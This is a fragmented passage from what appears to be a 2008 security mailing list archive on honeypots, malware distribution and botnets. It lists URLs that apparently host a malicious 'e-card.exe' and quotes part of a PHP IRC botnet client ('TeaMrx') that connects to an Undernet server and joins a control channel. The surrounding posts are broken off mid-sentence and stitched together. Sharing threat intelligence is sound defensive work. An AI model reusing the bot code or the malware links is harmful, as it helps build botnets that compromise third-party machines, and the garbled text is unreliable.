/e-card.exe
404/Error Pages: http://kkvtombeek.be/e-card.exe
404/Error Pages: http://leschevaliersdemines.be/e-card.exe
404/Error Pages: http://riccoboniholding.com/e-card.exe
404/Error Pages: http://www.mylady.st/e-card.exe
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On Wed, Aug 27, 2008 at 6:02 PM, Gadi
I think that is a bit too high volume for this list, maybe throwing
honeypot logs to an aggregator and then sending a daily digest would
be more appropriate.
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I propose that each and every one
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I think the main reason for that is that this list is public and is archived
by mailing list archives. When google picks up those sites, they index the
data and that is generally not a good thing.
I hope you
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in
popularity of linux on desktops, as well as very cheap linux PC's. I
imagine we will have a similar flood of threads, and media hype about
that aswell.
Just my two cents... and this may not have made any sense, as I am
very tired right now...
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are doing it.
Just my 2 cents.
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This looks like standard ftp bruteforcing...
Typical targets of this attacks are MS FTP Servers
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--I don't think that ISPs are going to care until there is a business model
that will make them money(or save it) and not cost them a bunch of
money/staff overhead.
It costs a great deal to staff an abuse department that knows
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00,999);
$me = randomkeys(5).rand(100,999);
$ircname = randomkeys(4).rand(100,999);
$version = "TeaMrx v1.0";
$server = "eu.undernet.org";
$quitmsg = "xeQt vS TeaMrx";
$chan = "#vx8";
$port = '6667';
while(0==0)
{
$ircsock = @fsockopen($server, $port);
Ja
1] \r\n");
}
if( $buffer[1] == '001') {
fputs($ircsock,"JOIN $chan\r\n");
fputs($ircsock,"WHO $me\r\n");
}
if( $buffer[7]." ".$buffer[8]." ".$buffer[9]." ".$buffer[10] ==
'many connections from your' ) {
exit;
}
if( $buffer[1
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What I have seen is that a good majority of the CC's are running
on dedicated hosts that might have been set up fraudulently, or that
have been compromised. As far as the clients of these CC's it
really depends on what the
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